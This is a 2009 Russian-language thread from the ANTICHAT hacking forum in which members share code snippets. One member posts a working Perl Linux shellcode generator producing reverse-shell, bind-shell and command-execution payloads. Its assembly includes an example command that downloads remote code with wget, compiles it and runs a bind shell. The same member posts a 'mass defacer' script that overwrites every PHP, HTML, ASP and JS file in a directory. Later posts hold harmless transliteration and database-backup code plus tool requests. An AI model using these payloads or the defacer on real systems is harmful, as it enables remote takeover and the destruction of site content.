ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

15.03.2009, 14:59
|
|
Постоянный
Регистрация: 11.03.2008
Сообщений: 347
Провел на форуме: 2075230
Репутация:
462
|
|
Linux shellcode generator
Код:
#!/usr/bin/perl
# linux shellcode generator [x86,x86-64][reverse shell, bind shell, execute cmd]
# contact: xzid420[at]gmail.com
use strict;
use warnings;
use Getopt::Long;
my $comment=q{
-------------------------
reverse shell x86
-------------------------
xor %edx,%edx
push $0x06
push $0x01
push $0x02
mov %esp,%ecx
push $0x66
pop %eax
push $0x01
pop %ebx
int $0x80
movb $0x02,(%esp)
movw $0xbc01,2(%esp) # htons(444);
movl $0xa0a0a0a,4(%esp) # inet_addr("10.10.10.10");
mov %esp,%ecx
push $0x10
push %ecx
push %eax
mov %esp,%ecx
push %eax
mov %esp,%ebp
push $0x66
pop %eax
push $0x03
pop %ebx
int $0x80
mov %ebp,%esp
pop %ebx
push $0x03
pop %ecx
dup2loop:
dec %ecx
push $63
pop %eax
int $0x80
jnz dup2loop
push %edx
push $0x68732f6e # hs/n
push $0x69622f2f # ib//
mov %esp,%ebx
xor %ecx,%ecx
push $0x0b
pop %eax
int $0x80
-------------------------
reverse shell x86-64
-------------------------
xorq %rdx,%rdx
pushq $0x29
pop %rax
push $0x01
pop %rsi
push $0x02
pop %rdi
syscall
xchgq %rax,%rdi
movb $0x02,(%rsp)
movw $0x6007,2(%rsp) #; htons(1087);
movl $0xa0a0a0a,4(%rsp) #; inet_addr("10.10.10.10");
movq %rsp,%rsi
push $0x10
pop %rdx
push $0x2a
pop %rax
syscall
push $0x03
pop %rsi
dup2loop:
dec %rsi
push $33
pop %rax
syscall
jnz dup2loop
xorq %rdx,%rdx
movq $0x68732f6e69622f2f,%rbx
shr $0x8,%rbx
pushq %rbx
movq %rsp,%rdi
pushq %rdx
pushq %rdi
movq %rsp,%rsi
push $59
pop %rax
syscall
-------------------------
bind shell x86
-------------------------
xor %edx,%edx
push $0x06
push $0x01
push $0x02
mov %esp,%ecx
push $0x66
pop %eax
push $0x01
pop %ebx
int $0x80
mov %eax,%edi
movb $0x02,(%esp)
movw $0xbc01,2(%esp) # htons(444)
movl %edx,4(%esp) # 0[INADDR_ANY]
mov %esp,%ecx
push $0x10
push %ecx
push %eax
mov %esp,%ecx
push %eax
mov %esp,%ebp
push $0x66
pop %eax
push $0x02
pop %ebx
int $0x80
push $0x05
push %edi
mov %esp,%ecx
push $0x66
pop %eax
push $0x04
pop %ebx
int $0x80
push %edx
push %edx
push %edi
mov %esp,%ecx
push $0x05
pop %ebx
push $0x66
pop %eax
int $0x80
xchg %ebx,%eax
push $0x03
pop %ecx
dup2loop:
dec %ecx
push $63
pop %eax
int $0x80
jnz dup2loop
push %edx
push $0x68732f6e # hs/n
push $0x69622f2f # ib//
mov %esp,%ebx
xor %ecx,%ecx
push $0x0b
pop %eax
int $0x80
-------------------------
bind shell x86-64
-------------------------
xorq %rdx,%rdx
pushq $0x29
pop %rax
push $0x01
pop %rsi
push $0x02
pop %rdi
syscall
xchgq %rax,%rdi
xorq %rax,%rax
movb $0x02,(%rsp)
movw $0x6007,2(%rsp) #; htons(1087);
movl %eax,4(%rsp) #; 0[INADDR_ANY]
movq %rsp,%rsi
push $0x10
pop %rdx
push $49
pop %rax
syscall
push $0x01
pop %rsi
push $50
pop %rax
syscall
xorq %rsi,%rsi
xorq %rdx,%rdx
push $43
pop %rax
syscall
xchgq %rax,%rdi
push $0x03
pop %rsi
dup2loop:
dec %rsi
push $33
pop %rax
syscall
jnz dup2loop
xorq %rdx,%rdx
movq $0x68732f6e69622f2f,%rbx
shr $0x8,%rbx
pushq %rbx
movq %rsp,%rdi
pushq %rdx
pushq %rdi
movq %rsp,%rsi
push $59
pop %rax
syscall
-------------------------
execute cmd x86
-------------------------
jmp cmd
shellcode:
pop %ecx
xor %edx,%edx
push %edx
push $0x68732f6e # hs/n
push $0x69622f2f # ib//
mov %esp,%ebx
movw $0x632d,%ax
push %edx
push %ax
mov %esp,%eax
push %edx
push %ecx
push %eax
push %ebx
mov %esp,%ecx
push $0x0b
pop %eax
int $0x80
push $0x01
pop %eax
xor %ebx,%ebx
int $0x80
cmd:
call shellcode
.ascii "wget -q -O shell.c http://remote/file.c;gcc -o bind shell.c;./bind"
-------------------------
execute cmd x86-64
-------------------------
jmp cmd
shellcode:
pop %rcx
xorq %rdx,%rdx
movq $0x68732f6e69622f2f,%rbx # hs/nib//
shr $0x8,%rbx
push %rbx
movq %rsp,%rdi
movw $0x632d,%ax
pushq %rdx
pushq %ax
movq %rsp,%rax
pushq %rdx
pushq %rcx
pushq %rax
pushq %rdi
movq %rsp,%rsi
xorq %rax,%rax
movb $0x3b,%al
syscall
push $0x3c
pop %rax
xorq %rdi,%rdi
syscall
cmd:
call shellcode
.string "wget -q -O shell.c http://remote/file.c;gcc -o bind shell.c;./bind"
-------------------------
};
my($host,$port,$cmd,$amd64,$shellcode);
GetOptions("host=s" => \$host,
"port=i" => \$port,
"cmd=s" => \$cmd,
"64" => \$amd64);
if($host and $port)
{
if($amd64)
{
# x86-64 reverse shell
$shellcode=
'\x48\x31\xd2\x6a\x29\x58\x6a\x01\x5e\x6a\x02\x5f\x0f\x05\x48\x97\xc6\x04\x24\x02\x66'.
'\xc7\x44\x24\x02'.sport($port).'\xc7\x44\x24\x04'.saddr($host).'\x48\x89\xe6\x6a\x10'.
'\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31'.
'\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57'.
'\x48\x89\xe6\x6a\x3b\x58\x0f\x05';
print "linux/x86-64 reverse shell\n\n";
}
else
{
# x86 reverse shell
$shellcode=
'\x31\xd2\x6a\x06\x6a\x01\x6a\x02\x89\xe1\x6a\x66\x58\x6a\x01\x5b\xcd\x80\xc6\x04\x24'.
'\x02\x66\xc7\x44\x24\x02'.sport($port).'\xc7\x44\x24\x04'.saddr($host).'\x89\xe1\x6a'.
'\x10\x51\x50\x89\xe1\x50\x89\xe5\x6a\x66\x58\x6a\x03\x5b\xcd\x80\x89\xec\x5b\x6a\x03'.
'\x59\x49\x6a\x3f\x58\xcd\x80\x75\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89'.
'\xe3\x31\xc9\x6a\x0b\x58\xcd\x80';
print "linux/x86 reverse shell\n\n";
}
print "host: $host\n",
"port: $port\n";
}
elsif($port)
{
if($amd64)
{
# x86-64 bind shell
$shellcode=
'\x48\x31\xd2\x6a\x29\x58\x6a\x01\x5e\x6a\x02\x5f\x0f\x05\x48\x97\x48\x31\xc0\xc6\x04'.
'\x24\x02\x66\xc7\x44\x24\x02'.sport($port).'\x89\x44\x24\x04\x48\x89\xe6\x6a\x10\x5a'.
'\x6a\x31\x58\x0f\x05\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x31\xf6\x48\x31\xd2\x6a\x2b'.
'\x58\x0f\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xd2'.
'\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48'.
'\x89\xe6\x6a\x3b\x58\x0f\x05';
print "linux/x86-64 bind shell\n\n";
}
else
{
# x86 bind shell
$shellcode=
'\x31\xd2\x6a\x06\x6a\x01\x6a\x02\x89\xe1\x6a\x66\x58\x6a\x01\x5b\xcd\x80\x89\xc7\xc6'.
'\x04\x24\x02\x66\xc7\x44\x24\x02'.sport($port).'\x89\x54\x24\x04\x89\xe1\x6a\x10\x51'.
'\x50\x89\xe1\x50\x89\xe5\x6a\x66\x58\x6a\x02\x5b\xcd\x80\x6a\x05\x57\x89\xe1\x6a\x66'.
'\x58\x6a\x04\x5b\xcd\x80\x52\x52\x57\x89\xe1\x6a\x05\x5b\x6a\x66\x58\xcd\x80\x93\x6a'.
'\x03\x59\x49\x6a\x3f\x58\xcd\x80\x75\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69'.
'\x89\xe3\x31\xc9\x6a\x0b\x58\xcd\x80';
print "linux/x86 bind shell\n\n";
}
print "port: $port\n";
}
elsif($cmd)
{
if($amd64)
{
# x86-64 execute cmd
$shellcode=
'\xeb\x35\x59\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53'.
'\x48\x89\xe7\x66\xb8\x2d\x63\x52\x50\x48\x89\xe0\x52\x51\x50\x57\x48\x89\xe6\x48\x31'.
'\xc0\xb0\x3b\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05\xe8\xc6\xff\xff\xff'.cmd($cmd);
print "linux/x86-64 execute cmd\n\n";
}
else
{
# x86 execute cmd
$shellcode=
'\xeb\x2b\x59\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x66\xb8\x2d'.
'\x63\x52\x66\x50\x89\xe0\x52\x51\x50\x53\x89\xe1\x6a\x0b\x58\xcd\x80\x6a\x01\x58\x31'.
'\xdb\xcd\x80\xe8\xd0\xff\xff\xff'.cmd($cmd);
print "linux/x86 execute cmd\n\n";
}
print "cmd: $cmd\n";
}
else
{
print "# linux shellcode generator [x86,x86-64][reverse shell, bind shell, execute cmd]\n\n",
"reverse:\n",
" $0 --host <host> --port <port>\n\n",
"bind:\n",
" $0 --port <port>\n\n",
"cmd:\n",
" $0 --cmd <cmd>\n\n",
"args:\n",
" --64 x86-64, default x86\n";
exit;
}
print "shellcode length: ",shellcode_length($shellcode)," bytes\n\n",
"-------------------------\n",
$shellcode,
"\n-------------------------\n";
sub shellcode_length
{
my $scode=shift||return 0;
my @p=split('x',$scode);
return $#p;
}
sub cmd
{
my $c=shift;
$c=~s/(.)/sprintf("\\x%02x",ord($1))/eg;
return $c;
}
sub saddr
{
my $host=shift;
my $s=gethostbyname($host) or die "error: host lookup failed\n";
my @sp=unpack('C4',$s);
my $ret="";
for(< @sp>) {$ret.=sprintf("\\x%.2x",$_);}
print ">> warning: host \"$host\" contains a null byte\n-----------\n" if($ret=~/00/);
return $ret;
}
sub sport
{
my $port=shift;
die "port range: 300-20000\n" if($port<300||$port>20000);
$port=sprintf("%.4x",$port);
$port=~s/(.{2})/\\x$1/g;
return $port;
}
|
|
|

15.03.2009, 16:32
|
|
Новичок
Регистрация: 10.07.2008
Сообщений: 1
Провел на форуме: 6628
Репутация:
5
|
|
Тупо исправляет на странслит
PHP код:
<?php $n=strlen($string); $i=0; while($i<$n) { switch($string[$i]) { case "А": $string[$i]="A"; break; case "а": $string[$i]="a"; break; case "Б": $string[$i]="B"; break; case "б": $string[$i]="b"; break; case "В": $string[$i]="V"; break; case "в": $string[$i]="v"; break; case "Г": $string[$i]="G"; break; case "г": $string[$i]="g"; break; case "Д": $string[$i]="D"; break; case "д": $string[$i]="d"; break; case "Е": $string[$i]="E"; break; case "е": $string[$i]="e"; break; case "Ё": $string[$i]="E"; break; case "ё": $string[$i]="e"; break; case "Ж": $string[$i]="J"; break; case "ж": $string[$i]="j"; break; case "З": $string[$i]="Z"; break; case "з": $string[$i]="z"; break; case "И": $string[$i]="I"; break; case "и": $string[$i]="i"; break; case "Й": $string[$i]="I"; break; case "й": $string[$i]="i"; break; case "К": $string[$i]="K"; break; case "к": $string[$i]="k"; break; case "Л": $string[$i]="L"; break; case "л": $string[$i]="l"; break; case "М": $string[$i]="M"; break; case "м": $string[$i]="m"; break; case "Н": $string[$i]="N"; break; case "н": $string[$i]="n"; break; case "О": $string[$i]="O"; break; case "о": $string[$i]="o"; break; case "П": $string[$i]="P"; break; case "п": $string[$i]="p"; break; case "Р": $string[$i]="R"; break; case "р": $string[$i]="r"; break; case "С": $string[$i]="S"; break; case "с": $string[$i]="s"; break; case "Т": $string[$i]="T"; break; case "т": $string[$i]="t"; break; case "У": $string[$i]="U"; break; case "у": $string[$i]="u"; break; case "Ф": $string[$i]="F"; break; case "ф": $string[$i]="f"; break; case "Х": $string[$i]="H"; break; case "х": $string[$i]="h"; break; case "Ч": $string[$i]="С"; break; case "ч": $string[$i]="с"; break; case "Ш": $string[$i]="S"; break; case "ш": $string[$i]="s"; break; case "Щ": $string[$i]="S"; break; case "щ": $string[$i]="s"; break; case "Ц": $string[$i]="C"; break; case "ц": $string[$i]="c"; break; case "Ъ": $string[$i]="`"; break; case "ъ": $string[$i]="`"; break; case "Ы": $string[$i]="I"; break; case "ы": $string[$i]="i"; break; case "Ь": $string[$i]="'"; break; case "ь": $string[$i]="'"; break; case "Э": $string[$i]="E"; break; case "э": $string[$i]="e"; break; case "Ю": $string[$i]="U"; break; case "ю": $string[$i]="u"; break; case "Я": $string[$i]="Y"; break; case "я": $string[$i]="y"; break; } $i++; } echo "<form method=post><textarea cols=70 rows=20 name=string></textarea><input type=submit value='Затранслитить:)'> </form>"; echo "<b>".$string."</b>"; ?>
|
|
|

16.03.2009, 00:35
|
|
Познавший АНТИЧАТ
Регистрация: 01.05.2006
Сообщений: 1,021
Провел на форуме: 3424739
Репутация:
921
|
|
HOSTAL оформи код нормально
|
|
|

16.03.2009, 01:12
|
|
Постоянный
Регистрация: 11.03.2008
Сообщений: 347
Провел на форуме: 2075230
Репутация:
462
|
|
Mass Defacer
Код:
#!/usr/bin/perl -w
$def = 'YOUR LAME DEFACE PAGE HERE =)';
{ print "[+]DEFACING...\n";
print"[+]DEFACING .PHP FILES...\n";
my @php = glob("*.php");
foreach my $deface(@php){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Facked up: $!\n";
close(DEFACE)
}
print "[+]DEFACING .HTML FILES...\n";
my @html = glob("*.html");
foreach my $deface(@html){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Facked up: $!\n";
close(DEFACE)
}
print "[+]DEFACING .ASP FILES...\n";
my @asp = glob("*.asp");
foreach my $deface(@asp){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Facked up: $!\n";
close(DEFACE)
}
print "[+]DEFACING .ASPX FILES...\n";
my @aspx = glob("*.aspx");
foreach my $deface(@aspx){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Facked up: $!\n";
close(DEFACE)
}
print "[+]DEFACING .HTM FILES...\n";
my @htm = glob("*.htm");
foreach my $deface(@htm){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Facked up: $!\n";
close(DEFACE)
}
print "[+]DEFACING .JS FILES...\n";
my @js = glob("*.js");
foreach my $deface(@js){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Facked up: $!\n";
close(DEFACE)
}
print "[+]DEFACING .AC FILES...\n";
my @ac = glob("*.ac");
foreach my $deface(@ac){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Facked up: $!\n";
close(DEFACE)
}
print "[+]Pages Should Be Defaced!\n";
}
|
|
|

16.03.2009, 17:24
|
|
Участник форума
Регистрация: 09.03.2008
Сообщений: 193
Провел на форуме: 2140897
Репутация:
267
|
|
HOSTAL,О_о,ну ты дерзкий....
ИМХО так проще
PHP код:
<?php
if(isset($_POST['g0'])) {
$rus = 'aбвгдеёжзийклмнопрстуфхчшщцъыьэюя';# словрик
$rus = str_split($rus.strtoupper($rus));# Созадём массив+переводим в верхний регистр
$eng = 'abvgdeejziiklmnoprstufhcssc`i\'euy';# англ словарик
$eng = str_split($eng.strtoupper($eng));# тоже самое что и с рус
$text = str_replace($rus,$eng,$_POST['string']);# заменяем
echo $text;
} else {
echo '<form method=post>
<textarea cols=70 rows=20 name="string">
</textarea><br><input name="g0" type=submit value="Затранслитить:)">
</form>';
}
?>
|
|
|

16.03.2009, 21:55
|
|
Участник форума
Регистрация: 01.08.2008
Сообщений: 239
Провел на форуме: 448388
Репутация:
31
|
|
Мужики, извините если не в том разделе пишу - нигде не могу найти:
Нужен редактор как в DLE для собственного скрипта - новостника или что-то примерно похожее.
Основные требования - загрузка картинок, bbcode'ы (жирный, курсив и прочее).
Если кто знает где есть - подкиньте пожалуйста - Большое Спасибо! 
|
|
|

16.03.2009, 23:32
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Наврялти ты где то найдеш, даэто все делаеться просто достаточно.
Текстареа,стр_реплайс bb-code,аплоад картинок,с выводом конечной ссылки,вот впринцапе и всо.
|
|
|

17.03.2009, 17:32
|
|
Постоянный
Регистрация: 06.06.2007
Сообщений: 335
Провел на форуме: 1487377
Репутация:
392
|
|
скрипт бекапа БД, при переходе на него, предлагает скачать файл с дампом, если кодировка соединения и БД не совпадает раскомментируйте 18-19 строку и укажите кодировку базы
PHP код:
<?php
/**
* @author Zedi
* @copyright 2009
*/
$dbhost = 'localhost';
$dbuser = 'root';
$dbpass = '';
$dbname = 'chat';
$connect = mysql_connect($dbhost, $dbuser, $dbpass) or die("Не могу соединиться с MySQL сервером!<br>" .
mysql_error());
$db = mysql_select_db($dbname) or die("Базы данных не существует!<br>" .
mysql_error());
#$sql = "SET NAMES utf8";
#$result = mysql_query($sql, $connect);
$filename = "dump_" . date('Y-m-d_H-i-s_') . rand(0, 100) . $dbname . ".sql";
$ext = "sql";
$mime_type = "'application/octet-stream";
$now = gmdate('D, d M Y H:i:s') . ' GMT';
header('Content-Type: ' . $mime_type);
header('Expires: ' . $now);
header('Content-Disposition: inline; filename="' . $filename . '"');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
$sql = 'SHOW TABLE STATUS FROM `' . $dbname . "`";
$query = mysql_query($sql, $connect);
$n = mysql_num_rows($query);
$total_size = 0;
$dump = '';
for ($i = 0; $i < $n; $i++)
{
$array_tables = mysql_fetch_array($query);
$tname = $array_tables[0];
$sql_table = "SHOW CREATE TABLE `{$tname}`";
$query_table = mysql_query($sql_table, $connect);
$table = mysql_fetch_array($query_table);
$sql_data = "SELECT * FROM `{$tname}`";
$result = mysql_query($sql_data, $connect);
$c_data = mysql_num_rows($result);
$dump .= $table[1] . ";\n";
if ($c_data)
$dump .= "INSERT INTO `{$tname}` VALUES";
$sql_columns = "SHOW COLUMNS FROM `{$tname}`";
$query_columns = mysql_query($sql_columns, $connect);
$c = mysql_num_rows($query_columns);
$fields = array();
for ($k = 0; $k < $c; $k++)
{
$column = mysql_result($query_columns, $k, 0);
$push = array_push($fields, $column);
}
$p = 0;
for ($g = 0; $g < $c_data; $g++)
{
$z = 0;
$zp = $zk = '';
if ($p)
$zk = ', ';
$dump .= $zk . " \n(";
foreach ($fields as $fild)
{
if ($z)
$zp = ', ';
$dump .= $zp . '\'' . addslashes(mysql_result($result, $g, $fild)) . '\'';
$z++;
}
$dump .= ")";
$p++;
}
if ($c_data)
$dump .= "; \n";
else
$dump .= "\n";
}
echo $dump;
die();
?>
Последний раз редактировалось Zedi; 17.03.2009 в 17:39..
|
|
|

18.03.2009, 07:31
|
|
Постоянный
Регистрация: 23.03.2006
Сообщений: 977
Провел на форуме: 2976185
Репутация:
694
|
|
OnArs http://www.xbb.uz/ имхо даже лучше чем у дле.
|
|
|

19.03.2009, 11:21
|
|
Участник форума
Регистрация: 01.08.2008
Сообщений: 239
Провел на форуме: 448388
Репутация:
31
|
|
Сообщение от blaga
OnArs http://www.xbb.uz/ имхо даже лучше чем у дле.
Большое спасибо!
Кто-нибудь встречал скрипты-почтовики, чтобы можно было делать Forwarder email адреса?
На данный момент пользуюсь средствами своего хостера и на создание email такого типа уходит около минуты, т.е. для создания 1000 таких email адресов, уйдёт оочень много времени....
Заранее благодарен! 
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|